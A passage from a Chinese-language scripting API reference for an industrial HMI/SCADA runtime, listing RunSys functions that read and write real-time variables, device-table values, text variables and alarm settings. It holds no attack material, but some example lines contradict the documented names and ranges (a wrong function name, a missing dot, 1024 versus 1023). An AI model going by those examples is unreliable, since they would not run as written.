选择列表 °°44 B59 自定义菜单 3°44 B60 字符串 3°45 B61 时间间隔 3°46 B62 存储过程 3346 B63 曲线查询按钮 3°47 B64 窗口操作 3°48 B65 文件操作 3352 B66 文本文件 3353 B67 TCP通讯 3354 B68 UDP通讯 3355 B69 MSN信息 3°56B01运行数据库bValue= RunSys.OpenDatabase(n)打开系统运行数据库,当大量访问系统变量时,最好打开数据库再访问,否则会发生冲突;n为运行数据库被打开时允许的时间,单位为毫秒,在规定时间内,数据库没被打开,返回0,否则返回1;例: bValue=RunSys.OpenDatabase(1000)If bValue=1Then……RunSys.CloseDatabaseEnd IfRunSys.CloseDatabase关闭被打开的系统运行数据库, 与OpenDatabase配合使用;floatValue=RunSys.GetVarValue(VarType,VarName,VarIndex)此函数用来从系统实时数据库中得到变量的值;VarType指定变量的类型,其中1=AI、2=AO、3=AR、4=DI、5=DO、6=DR、7=VA、8=VD;VarName指定变量的名称;VarIndex指定变量的索引号,如果不知道索引号是多少,则填-1即可;索引号可从系统的变量字典中查到;如果索引号不为-1,直接通过索引号得到变量的值;在大系统中利用索引号可以提高访问速度;例:Value=RunSys.GetVarValue(1, "AI1",-1)RunSys.SetVarValue VarType,VarName,VarIndex,floatValue此函数用来修改系统实时数据库中变量的值;VarType指定变量的类型,其中2=AO、3=AR、5=DO、6=DR、7=VA、8=VD;VarName指定变量的名称;VarIndex指定变量的索引号,如果不知道索引号是多少,则填-1即可;索引号可从系统的变量字典中查到;如果索引号不为-1,则直接通过索引号得到变量的值;在大系统中利用索引号可以提高访问速度;floatValue为要修改的数值;例:RunSys.SetVarValue 2, "AO1",1000SetVarValueEx VarType,VarName,VarIndex此函数弹出窗口输入数值,以修改某个变量(AO/AR/DO/DR/VA/VD)的值或状态,VarType指定变量的类型(AO=2,AR=3,DQ=5,DR=6,VA=7,VD=8);VarName指定变量的名称;如果变量的索引号VarIndex>-1,VarType和VarName不起作用,直接通过VarIndex修改变量值;例: RunSys.SetVarValueEx AO,"AO1",-1StringValue=RunSys.GetVtText(VarName,VarIndex)此函数用来从系统实时数据库中得到文本变量(VT)的值;VarName指定变量的名称;VarIndex指定变量的索引号,如果不知道索引号是多少,则填-1即可,索引号可从系统的变量字典中查到;如果索引号不为-1,则直接通过索引号得到变量的值;在大系统中利用索引号可以提高访问速度;例:strText=RunSys.GetVtText("VT1",-1)RunSys.SetVtText VarName,VarIndex,stringValue此函数用来修改系统实时数据库中文本变量(VT)的值;VarName指定变量的名称;VarIndex指定变量的索引号,如果不知道索引号是多少,则填-1即可,索引号可从系统的变量字典中查到;如果索引号不为-1,则直接通过索引号得到变量的值;在大系统中利用索引号可以提高访问速度;stringValue为要修改的文本值;例:RunSys.SetVtText "VT1",-1, "启动"RunSys.SetVTtextEx VarName,VarIndex弹出窗口输入文本,以修改某VT变量的文本内容,VarName指定变量的名称;如果变量的索引号VarIndex>-1,VarName不起作用,直接通过VarIndex修改;例: RunSys.SetVTtextEx "VT1",-1floatValue=RunSys.GetValueFromDevTable(DevNo,ElementNo,DataType,DataFmt) 此函数用来直接从系统的设备数据表中得到一个数值;DevNo指定数据所在的设备号(1…100);ElementNo指定数据所在的单元号(0…255、511、1023);DataType指定设备号数据的类型(1=Byte、2=Word、3=DWord);DataFmt指定设备号数据的格式(1=整数、2=无符号整数、3=浮点数);例:Value=RunSys.GetValueFromDevTable(2,0,2,1)RunSys.SetValueToDevTable DevNo,ElementNo,DataType,DataFmt,Value此函数用来直接修改系统的设备数据表中一个数值;DevNo指定数据所在的设备号(1…100);ElementNo指定数据所在的单元号(0…255、511、1023);DataType指定设备号数据的类型(1=Byte、2=Word、3=DWord);DataFmt指定设备号数据的格式(1=整数、2=无符号整数、3=浮点数);Value为要修改的数值;例:RunSys.SetValueToDevTable 2,0,2,1,999boolValue=RunSys.GetStatusFromDevTable(DevNo,ElementNo,BitNo,DataType) 此函数用来直接从系统的设备数据表中得到一个状态位;DevNo指定状态数据所在的设备号(1…100);ElementNo指定状态数据所在的单元号(0…255、511、1023);BitNo指定状态数据所在的位号(0…7、15、31);DataType指定设备号数据的类型(1=Byte、2=Word、3=DWord);例:Status=RunSys.GetStatusFromDevTable(2,0,0,1)RunSys.SetStatusToDevTable DevNo,ElementNo,BitNo,DataType,Status此函数用来直接修改系统的设备数据表中一个状态位.DevNo指定状态数据所在的设备号(1…100);ElementNo指定状态数据所在的单元号(0…255、511、1024);BitNo指定状态数据所在的位号(0…7、15、31);DataType指定设备号数据的类型(1=Byte、2=Word、3=DWord);Status为要修改的状态值;例:RunSys.SetStatusToTable 2,0,1,1,1s=RunSys.GetTextFromDevTable(DevNo,ByteNo,ByteLen)直接从数据设备表中得到文本内容;DevNo指定设备号(1-99),ByteNo指定文本开始字节单元(0-1023),ByteLen指定文本的长度(0-1023)例: s=RunSys.GetTextFromDevTable(2,0,10)RunSys.SetTextToDevTable DevNo,ByteNo,ByteLen,Text把文本内容直接写入数据设备表中;DevNo指定设备号(1-99),ByteNo指定文本开始字节(0-1023),ByteLen指定文本的长度(0-1023),Text为文本内容;例: RunSys.SetTextToDevTable 2,0,10,"ABCDEFG"iValue=RunSys.GetVarIndexFromVarName(VarType,VarName)根据变量的类型和名称得到变量的索引号;VarType指定变量的类型,其中AI=1,AO=2,AR=3,DI=4,DO=5,DR=6,VA=7,VD=8;VarName指定变量的名称;例:index=RunSys.GetVarIndexFromVarName(AI,"AI1")RunSys.EnableVarAlarm VarType,VarName此函数用来使某个变量能够进行报警;VarType指定变量的类型,其中1=AI、2=AO、3=AR、4=DI、5=DO、6=DR;VarName指定变量的名称;例:RunSys.EnableVarAlarm 1, "AI1"RunSys.DisableVarAlarm VarType,VarName此函数用来使某个变量不能够进行报警;VarType指定变量的类型,其中1=AI、2=AO、3=AR、4=DI、5=DO、6=DR;VarName指定变量的名称;例:RunSysDisableVarAlarm 1, "AI1"RunSys.EnableVarScan VarType,VarName此函数用来使某个变量能够进行动态扫描;VarType指定变量的类型,其中1=AI、2=AO、3=AR、4=DI、5=DO、6=DR。